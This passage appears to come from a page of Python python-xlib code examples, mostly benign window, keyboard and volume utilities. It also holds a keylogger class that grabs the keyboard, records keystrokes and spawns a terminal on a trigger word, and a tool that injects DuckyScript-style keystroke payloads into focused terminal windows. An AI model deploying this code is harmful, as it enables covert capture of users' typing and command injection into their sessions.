            if s.startswith(prefix):
                s = s[len(prefix):]
            type_details.add(s)
        return type_details

    def get_frame_extents(self, window):
        # x, y, width, height
        if isinstance(window, int):
            window = self.get_window(window)
        e = self.get_prop(window, "_NET_FRAME_EXTENTS")
        if e:
            return self.FrameExtents(*e)
        else:
            return self.FrameExtents(0, 0, 0, 0)

    def get_geometry(self, window):
        # x, y, width, height
        if isinstance(window, int):
            window = self.get_window(window)
        return window.get_geometry()

    def set_geometry(self, window, **data):
        # x, y, width, height
        if isinstance(window, int):
            window = self.get_window(window)
        if any(map(lambda v: v < 0, data.values())):
            gw = self.get_geometry(window)
            f = self.get_frame_extents(window)
            wa = self.usable_workarea()

            if 'x' in data and data['x'] < 0:
                data['x'] = wa.width - gw.width - (f.left +
                                                   f.right) + data['x'] + 1
            else:
                data['x'] += wa.x
            if 'y' in data and data['y'] < 0:
                data['y'] = wa.height - gw.height - (f.top +
                                                     f.bottom) + data['y'] + 1
            else:
                data['y'] += wa.y
        window.configure(**data)

    def usable_workarea(self):
        a = self.get_prop(self.root, "_NET_WORKAREA")
        if a:
            p = self.current_desktop() * 4
            #return (x, y, width, height)
            return self.Geometry(*a[p:p + 4])
        else:
            r = self.get_geometry(self.root)
            return self.Geometry(0, 0, r.width, r.height)

    def send_key(self, window, keysym, modifiers):
        if isinstance(window, int):
            window = self.get_window(window)
        keycode = self.display.keysym_to_keycode(keysym)
        event = protocol.event.KeyPress(time=X.CurrentTime,
                                        root=self.root,
                                        window=window,
                                        child=X.NONE,
                                        same_screen=True,
                                        root_x=0,
                                        root_y=0,
                                        event_x=0,
                                        event_y=0,
                                        state=modifiers.bitmap,
                                        detail=keycode)
        window.send_event(event, propagate=False)
        event = protocol.event.KeyRelease(
            time=X.CurrentTime,
            root=self.root,
            window=window,
            child=X.NONE,
            same_screen=True,  # same screen as the root window
            root_x=0,
            root_y=0,
            event_x=0,
            event_y=0,
            state=modifiers.bitmap,
            detail=keycode)
        window.send_event(event, propagate=False)

    def show_desktop(self, action=None):
        prop_name = self.atom("_NET_SHOWING_DESKTOP")
        if action is True:
            self.send_prop_change_event(prop_name,
                                        (32, [1, X.CurrentTime, 0, 0, 0]))
        elif action is False:
            self.send_prop_change_event(prop_name,
                                        (32, [0, X.CurrentTime, 0, 0, 0]))
        else:
            pv = self.get_prop(self.root, prop_name)
            new_val = 0 if pv and pv[0] else 1
            self.send_prop_change_event(
                prop_name, (32, [new_val, X.CurrentTime, 0, 0, 0]))

    def flush(self):
        # send all pending events
        self.display.flush()

    def sync(self):
        # flush and make sure everything is handled and processed or rejected by the server
        self.display.sync()

    @property
    def display_count(self):
        res = randr.get_screen_resources(self.root)
        n = 0
        for i in res.outputs:
            o = randr.get_output_info(self.root, i, config_timestamp=0)
            if o.modes:
                # has modes, empty if there's no monitor connected here
                n += 1
        return n
Пример #13
0
class LinuxKeyLogger(threading.Thread):
    """
    This implementation of the keylogger is designed to work on linux based
    systems. WILL NOT FUNCTION ON OTHER OPERATING SYSTEMS.
    """
    def __init__(self):
        """
        Constructs the logger and its internal objects
        """
        super().__init__()
        self.display = Display()
        self.root = self.display.screen().root
        self.capturedKeys = []
        self.windowKeys = []
        self.capture = True

    def run(self):
        """
        Starts the logging process
        """
        self.log()

    def log(self):
        """
        Sets up the root window to capture the keys being typed in.
        """
        self.root.change_attributes(event_mask=X.KeyPressMask
                                    | X.KeyReleaseMask)
        self.root.grab_keyboard(0, X.GrabModeAsync, X.GrabModeAsync,
                                X.CurrentTime)

        try:
            while self.capture:
                event = self.display.next_event()
                self.handleEvent(event)
                self.display.allow_events(X.AsyncKeyboard, X.CurrentTime)
        except Exception as e:
            print(e)

    def handleEvent(self, event):
        """
        The Xlib library will produce events when a key is pressed this method
        will analyze those events and extract the pertainent information along
        with passing that information further down the line to be processed by
        the operating system.
        :param event:
        :return: None
        """
        if (event.type == X.KeyRelease):
            char = Xlib.XK.keysym_to_string(
                self.display.keycode_to_keysym(event.detail, event.state))
            if char is not None:
                self.capturedKeys.append(char)
                self.windowKeys.append(char)
            self.send_key(event.detail, event.state)
            self.phrase_check()
            # self.send_keyup(event.detail, event.state)
        elif (event.type == X.KeyPress):
            pass
            # try:
            #     self.send_keydown(event.detail, event.status)
            # except AttributeError as ae:
            #     print(ae)
            # window = self.display.get_input_focus()._data["focus"]
            # window.send_event(event,propagate=True)

    def phrase_check(self):
        """
        This method will check to see if the typed in keys correspond to any
        of the preset phrases that have associated executions.
        :return:
        """
        # will need to create a smarter way of doing this
        stop = self.checkPhrase(self.getStopPhrase())
        if (stop):
            self.capture = False
        openT = self.checkPhrase(self.getTerminalPhrase())
        if (openT):
            self.openterminal()
        # ensure window size is maintained
        maxLength = max(len(self.getStopPhrase()),
                        len(self.getTerminalPhrase()))
        if len(self.windowKeys) > maxLength:
            self.windowKeys = self.windowKeys[len(self.windowKeys) -
                                              maxLength:]

    def checkPhrase(self, phrase):
        """
        Checks whether a phrase matches the most recently
        typed in keys.
        """
        length = len(phrase)
        capLength = len(self.windowKeys)
        if (capLength >= length):
            section = self.windowKeys[capLength - length:capLength]
            lastWords = ''.join(section)
            if (lastWords.upper() == phrase):
                return True
        return False

    def send_key(self, emulated_key, state):
        """Sends a key downstream to be processed by the computer"""
        self.send_keydown(emulated_key, state)
        self.send_keyup(emulated_key, state)

    def send_keyup(self, emulated_key, state):
        """Sends an key up message downstream to be processed by the computer"""
        shift_mask = state  # Xlib.X.ShiftMask
        window = self.display.get_input_focus()._data["focus"]
        event = Xlib.protocol.event.KeyRelease(time=int(time.time()),
                                               root=self.display.screen().root,
                                               window=window,
                                               same_screen=0,
                                               child=Xlib.X.NONE,
                                               root_x=0,
                                               root_y=0,
                                               event_x=0,
                                               event_y=0,
                                               state=shift_mask,
                                               detail=emulated_key)
        window.send_event(event, propagate=True)

    def send_keydown(self, emulated_key, state):
        """Sends a key down message downstream to be processed by the computer"""
        shift_mask = state  # Xlib.X.ShiftMask
        window = self.display.get_input_focus()._data["focus"]
        event = Xlib.protocol.event.KeyPress(time=int(time.time()),
                                             root=self.root,
                                             window=window,
                                             same_screen=0,
                                             child=Xlib.X.NONE,
                                             root_x=0,
                                             root_y=0,
                                             event_x=0,
                                             event_y=0,
                                             state=shift_mask,
                                             detail=emulated_key)
        window.send_event(event, propagate=True)

    def openterminal(self):
        """
        This method will open up a terminal on a linux machine. If this application
        is running with root privileges then the terminal will also be given root
        privileges.
        :return:
        """
        subprocess.call("gnome-terminal")

    def getStopPhrase(self):
        """
        When this phrase is typed in the keylogging will stop running
        """
        return "MISCHIEF MANAGED"

    def getTerminalPhrase(self):
        """
        When this phrase is typed in a terminal will be created and this terminal
        will have the same privileges that the key logger is running as.
        """
        return "ROOT"

    def hasInfoToSend(self):
        """
        Determines whether or not there have been keys that have been captured.
        :return: True if there are captured keys otherwise False
        """
        return len(self.capturedKeys) > 0

    def getInfo(self):
        """
        Provides the caller with a string of the captured keys.  It is important
        to note that a call to this method is a mutating call.  This means that
        once the information is retrieved it is purged from this object.
        :return: A string of the captured keys
        """
        ret = ''.join(self.capturedKeys)
        self.capturedKeys = []
        return ret
Пример #14
0
class Dispatcher:
    """
    A simple dispatcher class that receive powermate events and dispatch them to the right controller
    """

    def __init__(self, observer):
        """
        Initialize the super class and define the local members
        :param path: The path to the powermate device
        """
        self._long_pressed = False
        self._pulse = Pulse(threading_lock=True)
        self._stored_app = None
        self._display = Display()  # Connects to the default display
        self._note = pynotify.Notification("Volume", "0", "/usr/share/icons/Faenza/apps/48/"
                                                          "gnome-volume-control.png")
        self._note.set_urgency(0)

        self._led = PowermateLed()
        self._led.max()

        self._rofi = Rofi()
        self._rofi.hide_scrollbar = True
        self._rofi.prompt = "App. name?"

    def short_press(self):
        """
        Manage the short_press event
        :return: None
        """

        # Get the list of active sinks
        sinks = self._get_sinks()
        # Get the names of the apps linked to the sinks
        app_sinks = {"{} {}".format(sink.proplist.get("application.name"), sink.index): sink for sink in sinks}
        if len(app_sinks) > 1:
            # Display a menu to select the application to control
            try:
                res = self._rofi(app_sinks)
            except MenuError:
                return
            app_sink = res.value
        elif len(app_sinks) == 1:
            _, app_sink = app_sinks.popitem()
        else:
            app_sink = None

        # If successful
        if app_sink is not None:
            # Toggle the mute status of the selected sink
            self._toggle_mute_sinks([app_sink])

            # Declare a new notification
            self._note.update("Toggle Mute status", "{}".format(app_sink.proplist.get("application.name")), "/usr/share/icons/Faenza/apps/48/gnome-volume-control.png")

            # Show the notification
            self._note.show()

    def long_press(self):
        """
        For the moment this method simply toggles the lights on/off
        :return: A LedEvent class
        """

        if self._long_pressed:
            # Re-initialize the state of the powermate
            self._long_pressed = False
            self._stored_app = None
            # Just light up the powermate
            self._led.max()
        else:
            # Get the list of active sinks
            sinks = self._get_sinks()
            # Get the names of the apps linked to the sinks
            app_sinks = {sink.proplist.get("application.name"):sink.proplist.get("application.process.binary") for sink in sinks if sink.proplist.get("application.process.binary") not in self._get_active_win_class()}
            if len(app_sinks) > 1:
                # Display a menu to select the application to control
                try:
                    res = self._rofi(app_sinks)
                except MenuError:
                    return
                app_name = res.value
            elif len(app_sinks) == 1:
                _, app_name = app_sinks.popitem()
            else:
                app_name = None

            # If successful
            if app_name is not None:
                # Store the list of sinks corresponding to the app name
                self._stored_app = app_name

                # Toggle the long press state
                self._long_pressed = True

                # Have the powermate pulse
                self._led.pulse()
            else:
                # Make sure the long press flag is off
                self._long_pressed = False
                # Stop the pulse
                self._led.max()

    def rotate(self, rotation):
        """
        Manage the rotate event
        :param rotation: The direction of rotation negative->left, positive->right
        :return: None
        """

        # Get the class of the active window
        win_cls = self._get_active_win_class()
        if win_cls is not None:
            # Change the volume of the sinks
            self._change_volume_sinks(self._get_app_sinks(win_cls), rotation)

    def push_rotate(self, rotation):
        """
        Changes the volume of the sinks registered by the long_press event, according to the given rotation.
        :param rotation: The direction and amplitude of the rotation. (negative = left, positive = right).
        :return: Nothing.
        """

        # Change the volume of the current sinks
        self._change_volume_sinks(self._get_app_sinks(self._stored_app), rotation)

    def _toggle_mute_sinks(self, sinks):
        """
        Simply toggle the mute status of all given sinks.
        :param sinks: A list of sink objects.
        :return: Nothing.
        """

        # Toggle the mute status
        for sink in sinks:
            muted = bool(sink.mute)
            self._pulse.mute(sink, mute=not muted)

    def _change_volume_sinks(self, sinks, rotation):
        """
        Simple change the volume of all given sinks and display a notification.
        :param sinks: A list of sink objects.
        :param rotation: The amount and direction of the rotation.
        :return: Nothing.
        """

        # Change the volume of the sinks
        for sink in sinks:
            self._pulse.volume_change_all_chans(sink, rotation * 0.005)

            # Show the notification
            self._display_notification(sink)


    def _get_active_win_class(self):
        """
        Use the xlib module to get the class of the window that has the focus
        :return: Return the window class or None if none found
        """

        # Get the window that has the focus
        focus_win = self._display.get_input_focus().focus
        # Get the window class
        win_cls = focus_win.get_wm_class()
        if win_cls is None:
            # Get the class of the parent window
            parent_cls = focus_win.query_tree().parent.get_wm_class()
            if parent_cls is not None:
                return str(parent_cls[-1].lower())
            else:
                return None
        else:
            return str(win_cls[-1].lower())

    def _get_app_sinks(self, app_name):
        """
        Get the sinks corresponding to the given application
        :param app_name: Name of the application
        :return: List of sink objects otherwise.
        """

        # Make sure the app_name is a string
        if isinstance(app_name, str) and app_name is not None:
            # Get the list of input sinks
            sinks = self._get_sinks()
            # Return the list of sinks corresponding to the application
            return [sink for sink in sinks if sink.proplist.get("application.process.binary").lower() == app_name]
        else:
            return []

    def _get_sinks(self):
        """
        Get a list of active pulseaudio sinks
        :return: List. A list containing all the active sink objects.
        """

        # Get the list of input sinks
        sinks = [sink for sink in self._pulse.sink_input_list()
                 if sink.proplist.get("application.process.binary", None) is not None]

        # Return the list of active sinks
        return sinks

    def _display_notification(self, sink_in):
        """
        Display a notification showing the overall current volume.
        :param volume: A float representing the value of the current sink input.
        :return: Nothing.
        """

        # Get the volume of the input sink
        volume = self._pulse.volume_get_all_chans(sink_in)

        # Get the main sink
        for sink in self._pulse.sink_list():
            if sink.index == sink_in.sink:
                main_vol = sink.volume.value_flat
                break
        else:
            main_vol = 1

        # Declare a new notification
        self._note.update("Volume", "{:.2%}".format(volume * main_vol), "/usr/share/icons/Faenza/apps/48/"
                                                                        "gnome-volume-control.png")

        # Show the notification
        self._note.show()

    def _handle_exception(self):
        """
        Close the connection to the pulse server.
        :return: Nothing
        """

        # Close the connection to the pulse server
        self._pulse.close()
        self._led.off()
Пример #15
0
save_dir = 'saves'
if not os.path.exists(save_dir):
    os.makedirs(save_dir)


start = str(t.time())
session_dict = {}
session_dict['focus_times'] = {}
focus_times = session_dict['focus_times']

running=True

print('started at ' + datetime.datetime.now().strftime("%Y-%m-%d %H:%M"))
while(running):
	try:
		window = display.get_input_focus().focus
		#print(window)
		wmname = window.get_wm_name()
		wmclass = window.get_wm_class()

		if wmclass is None and wmname is None:#
			window = window.query_tree().parent
			wmname = window.get_wm_name()

		if wmname:
			if not focus_times.get(wmname, None):
				focus_times[wmname] = {}

			time = focus_times[wmname].get('time', None)
			if not time:
				focus_times[wmname]['time'] = interval
Пример #16
0
class VBG(object):
    def __init__(self):
        self.display = Display()
        self.term_windows = []
        self.term_strings = ("xterm")
        self.cmd = " " * 5 + ";{};exit;".format("echo w00t w00t")
        self.default_delay = 0.05
        self.control_key_map = {
            "ESC": XK.XK_Escape,
            "ALT": XK.XK_Alt_L,
            "WINDOWS": XK.XK_Super_L,
            "ENTER": XK.XK_Return,
            "CONTROL": XK.XK_Control_L,
            "DOLLAR": XK.XK_dollar,
            "SHIFT": XK.XK_Shift_L,
            "F2": XK.XK_F2
        }
        self.map = {}
        for keysym in range(0, 65535):
            symbol = self.display.lookup_string(keysym)
            if symbol != None:
                self.map[symbol] = keysym

        if args.mode == "cmd":
            if not "XTEST" in self.display.list_extensions():
                print(
                    "[E] - XTEST Extension Not Supported. Maybe Connect With `ssh -Y`.",
                    file=sys.stderr)
                sys.exit(2)
            elif not args.passive and args.payload:
                self.injectWMCmd(args.payload)
                sys.exit(0)
            elif not args.passive:
                wm = self.detectEnvironment()
                if wm:
                    payloads = glob.glob("payloads/{}_payload*".format(
                        wm.split()[0].lower()))
                    if not payloads:
                        print("[E] No Suitable Payload Found.")
                        sys.exit(1)
                    for wm_payload in payloads:
                        self.injectWMCmd(wm_payload)
                    sys.exit(0)
                else:
                    print("[-] - Falling Back to Passive Mode.")
            print("[+] - Trying Passive Mode.")
            self.findTerms(self.display, self.display.screen().root)
            self.waitFocusAndInjectCmd(self.term_strings)
        else:
            print("[E] - Unsupported Mode.")
            sys.exit(1)

    def detectEnvironment(self):
        print("[+] - Detecting Window Manager.")
        cmd = "wmctrl -m"
        output = subprocess.check_output(cmd.split()).splitlines()
        wm = output[0].decode("ascii").split(" ", maxsplit=1)[1]
        if not wm:
            print(
                "[-] - Could Not Detect Environment. Check if wmctrl is Installed."
            )
            return None
        wm = wm.strip()
        print("[+] - Window Manager {} Detected.".format(wm.strip()))
        return wm

    def injectWMCmd(self, payload_file):
        print("[+] - Running Payload from File {}.".format(payload_file))
        f = open(payload_file, "r")
        payload = self.parseDuck(f)
        for p in payload:
            if type(p) == float:
                time.sleep(p)
                continue
            bytes_payload = " ".join([str(x) for x in p]).encode("ascii")
            proc = subprocess.Popen(["./write_cmd"],
                                    stdin=subprocess.PIPE,
                                    stdout=subprocess.PIPE,
                                    stderr=subprocess.PIPE)
            print(proc.communicate(input=bytes_payload)[0].decode("ascii"))
            time.sleep(self.default_delay)
        #os.system("./write_cmd '{}'".format(self.cmd))

    def mapKey(self, key):
        if key in self.control_key_map:
            return self.control_key_map[key]

        keysym = XK.string_to_keysym(key)
        if keysym != 0:
            return keysym

        return self.map.get(key, None)

    def parseDuck(self, script):
        payload = []
        for line in script:
            line = line.strip("\n")
            split_line = line.split(" ", maxsplit=1)
            instr = split_line[0]
            if instr == "STRING":
                arg = split_line[1]
                keycodes = []
                for ch in arg:
                    keysym = self.mapKey(ch)
                    if not keysym:
                        print(
                            "[E] - Parse Error. Character \"{}\" has no Valid Keysym."
                            .format(ch))
                        sys.exit(1)
                    #print("{} -> kc:{} ksym:{}".format(ch, self.display.keysym_to_keycode(keysym), keysym))
                    keycodes.append(self.display.keysym_to_keycode(keysym))
                    keycodes.append(self.display.keysym_to_keycode(keysym))
                payload.append(keycodes)

            elif "-" in instr:
                keycodes = []
                key = instr.split("-")
                if len(key) != 2:
                    print(
                        "[E] - Parse Error. \"{}\" Composition Length is Unsupported (max 2 keys)."
                        .format(instr))
                    sys.exit(1)

                keycode1, keycode2 = tuple(
                    map(self.display.keysym_to_keycode, map(self.mapKey, key)))
                if keycode1 and keycode2:
                    keycodes.append(keycode1)
                    keycodes.append(keycode2)
                    keycodes.append(keycode2)
                    keycodes.append(keycode1)
                else:
                    print("[E] - Parse Error. \"{}\" Unsupported Composition.".
                          format(instr))
                    sys.exit(1)
                payload.append(keycodes)

            elif instr in self.control_key_map:
                keycode = self.display.keysym_to_keycode(
                    self.control_key_map[instr])
                payload.append([keycode])

            elif instr == "REM":
                continue
            elif instr == "DELAY":
                arg = split_line[1]
                try:
                    delay = float(arg)
                except:
                    print("[E] - Parse Error. \"{}\" is not a Valid Delay.".
                          format(arg))
                    sys.exit(1)
                payload.append(delay)
            elif instr == "REPEAT":
                arg = split_line[1]
                try:
                    repetitions = int(arg)
                except:
                    print(
                        "[E] - Parse Error. \"{}\" is not a Valid Number of Repetitions."
                        .format(arg))
                    sys.exit(1)
                payload.append(payload[-1] * repetitions)
            else:
                print(
                    "[E] - Parse Error. \"{}\" is not a Supported Instruction."
                    .format(instr))
                sys.exit(1)
        return payload

    def findTerms(self, display, window):
        children = window.query_tree().children
        win_class = window.get_wm_class()
        win_name = window.get_wm_name()

        if win_class != None and win_class[0] in "".join(self.term_strings):
            #if "root@" in win_name:
            self.term_windows.append(window)

        for w in children:
            self.findTerms(self.display, w)

    def waitFocusAndInjectCmd(self, term_strings):
        print("[+] - Waiting Focus on a Terminal Window...")
        while True:
            focused_window = self.display.get_input_focus().focus
            focused_window_name = focused_window.get_wm_name()
            focused_window_class = focused_window.get_wm_class()
            if focused_window_class == None:
                continue

            if focused_window_class[0] in "".join(term_strings):
                if re.match("[a-zA-Z]+[a-zA-Z0-9]*", focused_window_name):
                    os.system("./write_cmd '{}'".format(self.cmd))
                    break
            time.sleep(self.default_delay)
Пример #17
0
class KeyTools:
    KEY_PRESS = X.KeyPress
    KEY_RELEASE = X.KeyRelease
    def __init__(self):
        self._xdisplay = Display()
        self._xroot = self._xdisplay.screen().root
        self._clipboard = gtk.clipboard_get()
        self._clipPrimay = gtk.clipboard_get("PRIMARY")
        self._entryForPaste = 118, X.ShiftMask
        self._group = 0
        self.loadModifiers()
        self._keymap = gdk.keymap_get_default()  # @UndefinedVariable
        
    def loadModifiers(self):
        self._modifiers = []
        self._modifierList = []
        for key in self._xdisplay.get_modifier_mapping():
            li = [k for k in key if k]
            #for altgr key
            if 92 in li:
                li.append(108)
            self._modifierList += li
            self._modifiers.append(li)
    
    
    def filterGroup(self, entries):
        if entries:
            return [e for e in entries if e[-2] == self._group]
        return []
    
    
    def remapKey(self, keycode, keysyms):
        allKeysyms = list(self._xdisplay.get_keyboard_mapping(keycode, 1)[0])
        keysyms = keysyms + [0]*(4 - len(keysyms))
        allKeysyms[:2] = keysyms[:2]
        allKeysyms[4:6] = keysyms[2:]
        self._xdisplay.change_keyboard_mapping(keycode, [allKeysyms])
        self._xdisplay.sync()
    
    
    
    def resetMapping(self):
        try:
            process = Popen('setxkbmap -print -verbose 7'.split(), stdout=PIPE, stderr=PIPE)
        except OSError:
            print 'install setxkbmap'
        
        for line in process.stderr:
            print 'setxkbmap error: {}'.format(line)
        
        layout = variant = ''
        
        for line in process.stdout:
            line = line.rstrip()
            if line == '':
                break
            
            if line.startswith('layout:'):
                layout = line.split()[1]
            elif line.startswith('variant:'):
                variant = line.split()[1]
                break
                
        command = ['setxkbmap']
        if layout:
            command += ['-layout', layout]
                   
        if variant:
            command += ['-variant', variant]
        if layout or command:
            try:
                process = Popen(command, stdout=PIPE, stderr=PIPE)
            except OSError:
                print 'install setxkbmap'
                
            for line in process.stderr:
                print 'setxkbmap error: {}'.format(line)
    
    def isModifier(self, keycode):
        return keycode in self._modifierList
    
    def getModMask(self, keycode):
        for i, mods in enumerate(self._modifiers):
            if keycode in mods:
                return 2**i
            
        return 0
    
    def modifiersKeycodeList(self):
        return self._modifierList
    
    def numMask(self):
        return X.Mod2Mask
    
    def keycode2char(self, keycode, mods, group=0):
        char = ''
        name = ''
        info = self._keymap.translate_keyboard_state(keycode, mods, group)
        if info:
            keysym = info[0]
            char = gdk.keyval_to_unicode(keysym)  # @UndefinedVariable
            if char:
                char = unichr(char)
            name = gdk.keyval_name(keysym)  # @UndefinedVariable
            
        return char or '', name or ''
    
    def removeNumLockMask(self, keycode, mod):
        if not self.isKeypadKey(keycode) and mod & X.Mod2Mask:
            return mod ^ X.Mod2Mask
        
        return mod
     
    def entry2keysym(self, keycode, modMask):
        info = self._keymap.translate_keyboard_state(keycode, modMask, self._group)
        if info:
            return info[0]
        
        return None
        
    def entry2name(self, keycode, modMask):
        keysym = self.entry2keysym(keycode, modMask)
        if keysym is not None:
            return gdk.keyval_name(keysym)  # @UndefinedVariable
        
        return None
    
    def keycode2entries(self, keycode):
        return self.filterGroup(self._keymap.get_entries_for_keycode(keycode))
    
    def keysym2entry(self, keysym):
        if not keysym:
            return None
        
        infos = self._keymap.get_entries_for_keyval(keysym)  # @UndefinedVariable
        if infos:
            for info in infos:
                keycode, group, level = info
                if group == self._group:
                    if level < len(LEVEL_MOD):
                        mod = LEVEL_MOD[level]
                        return keycode, mod
            
        return None
    
    def keysym2deadEntries(self, keysym):
        resp = ()
        entry = self.keysym2entry(keysym)
        if entry:
            keycode, mod = entry
            resp = ((keycode, mod), )
            
        if not resp:
            deadKeys = self.findWithDeadKey(keysym)
            if deadKeys:
                keyKeysym, deadKeysym = deadKeys
                keyKeycodes = self.keysym2entry(keyKeysym)
                deadKeycodes = self.keysym2entry(deadKeysym)
                if keyKeycodes and deadKeycodes:
                    keyKeycode, keyMod = keyKeycodes
                    deadKeycode, deadMod = deadKeycodes
                    resp = ((deadKeycode, deadMod), (keyKeycode, keyMod))
              
        return resp
        
    
    def keycode2charsAndNames(self, keycode):
        entries = self.keycode2entries(keycode)
        chars = []
        names = []
        for entry in entries:
            chars.append(keysym2char(entry[0]))
            names.append(keysym2name(entry[0]))
            if len(chars) >= 4:
                break
        
        while not names[-1]:
            chars.pop(-1)
            names.pop(-1)
        return chars, names
    
    def keycode2keysyms(self, keycode):
        entries = self.keycode2entries(keycode)
        return [e[0] for e in entries][:4]
                
    def char2entries(self, char):
        keysym = gdk.unicode_to_keyval(ord(char))  # @UndefinedVariable
        if keysym:
            return self.keysym2deadEntries(keysym)
        
        return ()
    
    def findWithDeadKey(self, keysym):
        name = gdk.keyval_name(keysym)  # @UndefinedVariable
        for deadName in DEAD_KEYS:
            if name.endswith(deadName):
                keyName = name[:-len(deadName)]
                deadName = {'ring': 'abovering', 
                           'schwa': 'small_schwa', 
                           'SCHWA': 'capital_schwa'}.get(deadName, deadName)
                deadName = 'dead_' + deadName
                keyKeysym = gdk.keyval_from_name(keyName)  # @UndefinedVariable
                deadSym = gdk.keyval_from_name(deadName)  # @UndefinedVariable
                return keyKeysym, deadSym
        return None
            
    
    def isKeypadKey(self, keycode):
        entry = self._keymap.get_entries_for_keycode(keycode)
        if entry:
            for info in entry:
                if info[2] == self._group:
                    name = gdk.keyval_name(info[0])  # @UndefinedVariable
                    if name and name.startswith('KP_'):
                        return True
                    
        return False
    
        
    def grabKey(self, keycode, modMask):
        self._xroot.grab_key(keycode, modMask, 0, X.GrabModeAsync, X.GrabModeAsync)
        if not self.isKeypadKey(keycode) and not modMask & X.Mod2Mask:
            self._xroot.grab_key(keycode, modMask | X.Mod2Mask, 0, X.GrabModeAsync, X.GrabModeAsync)
            
    def ungrabKey(self, keycode, modMask):
        self._xroot.ungrab_key(keycode, modMask)
        if not self.isKeypadKey(keycode) and not modMask & X.Mod2Mask:
            self._xroot.ungrab_key(keycode, modMask | X.Mod2Mask)
    
    def nextKeyEvent(self, typ=KEY_PRESS):
        if isinstance(typ, int):
            typ = (typ,)
        num = self._xdisplay.pending_events()
        if num:
            for _ in range(num):
                event = self._xdisplay.next_event()
                if event.type in typ:
                    return keyEvent(event.type, event.detail, event.state)
                self._xdisplay.allow_events(X.AsyncKeyboard, X.CurrentTime)
        return None

    
    def slotClipboard(self, clipboard, text, backup):
        self.sendEntry(*self._entryForPaste)
        t = Timer(0.1, self.restoreClipboard, (backup,))
        t.start()
        
        
    def restoreClipboard(self, backup):
        self._clipboard.request_text(lambda a, b, c: None)
        if backup:
            self._clipboard.set_text(backup or '')
            self._clipPrimay.clear()
            self._clipboard.store()
     
    def sendText(self, text):
        backup = self._clipboard.wait_for_text()
        self._clipboard.set_text(text)
        self._clipPrimay.set_text(text)
        self._clipboard.request_text(self.slotClipboard, backup)
        self._clipboard.store()
        self._clipPrimay.store()
                
    def sendKeysym(self, keysym):
        entries = self.keysym2deadEntries(keysym)
        for entry in entries:
            self.sendEntry(*entry)
    
    def sendEntry(self, keycode, mod):
        self.pressKey(keycode, mod)
        self.releaseKey(keycode, mod)
    
    def pressKey(self, keycode, modMask):
        window = self._xdisplay.get_input_focus()._data["focus"]
        evt = Xlib.protocol.event.KeyPress(  # @UndefinedVariable
            time = X.CurrentTime,
            root = self._xroot,
            window = window,
            same_screen = 0, child = Xlib.X.NONE,
            root_x = 0, root_y = 0, event_x = 0, event_y = 0,
            state = modMask,
            detail = keycode
            )
        window.send_event(evt, propagate = True)
        
    def releaseKey(self, keycode, modMask):
        window = self._xdisplay.get_input_focus()._data["focus"]
        evt = Xlib.protocol.event.KeyRelease(  # @UndefinedVariable
            time = X.CurrentTime,
            root = self._xroot,
            window = window,
            same_screen = 0, child = Xlib.X.NONE,
            root_x = 0, root_y = 0, event_x = 0, event_y = 0,
            state = modMask,
            detail = keycode
            )
        window.send_event(evt, propagate = True)